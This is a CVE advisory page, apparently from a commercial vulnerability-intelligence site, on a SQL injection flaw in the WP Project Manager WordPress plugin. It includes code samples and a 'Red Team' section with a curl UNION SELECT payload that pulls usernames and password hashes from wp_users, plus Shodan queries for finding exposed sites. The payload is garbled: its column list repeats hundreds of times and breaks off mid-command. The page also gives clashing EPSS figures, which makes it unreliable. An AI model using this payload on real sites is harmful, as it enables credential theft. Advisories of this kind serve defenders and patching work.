☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12195

CVE-2024-12195 SQL Injection in Wedevs
📅 PUBLISHED: 2025-01-04 11:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 0.38%
👁️
0.38% probability
9.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
↗ Verify on NVD CVSS:3.1
6.5
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12195 is a SQL Injection vulnerability in the WordPress plugin WP Project Manager – Task, team, and project management plugin featuring kanban board and gantt charts (vendor: Wedevs). The flaw exists in the /wp-json/pm/v2/projects/2/task-lists REST API endpoint, specifically within the project_id parameter. An authenticated attacker who has been granted access to a project can inject arbitrary SQL queries into the database, leading to the extraction of sensitive information. The vulnerability affects all versions up to and including 2.6.16. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking the plugin's checksum or signature if available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user with project access)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

The threat level is Medium due to the requirement for authentication and project access, but the potential for high confidentiality impact (database extraction) makes it a significant risk for affected WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the REST API endpoint /wp-json/pm/v2/projects/2/task-lists. The project_id parameter is passed directly into a SQL query without proper escaping or parameterization. The plugin uses the $wpdb->prepare() method incorrectly or not at all, allowing an attacker to break out of the intended SQL syntax.

The vulnerable code path likely looks like:

$project_id = $_GET['project_id'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}pm_tasks WHERE project_id = $project_id" );

An attacker can supply a value such as 1 UNION SELECT user_login, user_pass FROM wp_users to extract user credentials.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.6.16):

// In some controller or handler
$project_id = $request->get_param('project_id');
$tasks = $wpdb->get_results(
    "SELECT * FROM {$wpdb->prefix}pm_tasks WHERE project_id = $project_id"
);

Patched Code (hypothetical):

$project_id = intval( $request->get_param('project_id') );
$tasks = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}pm_tasks WHERE project_id = %d",
        $project_id
    )
);

The patch uses intval() to cast the input to an integer and $wpdb->prepare() with a placeholder %d to safely parameterize the query.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress instance with WP Project Manager plugin version <= 2.6.16.
  • An authenticated user account with access to at least one project.

Exploitation Steps:

  1. Identify the project ID (e.g., 2) from the URL or API.
  2. Craft a malicious request to the vulnerable endpoint:
curl -X GET "http://target.com/wp-json/pm/v2/projects/2/task-lists?project_id=1%20UNION%20SELECT%20user_login,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,user_activation_key,user_nicename,user_pass,user_email,user_registered,user_status,display_name,ID,user_url,
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Project Manager"
http.html:"wp-project-manager"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12195/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.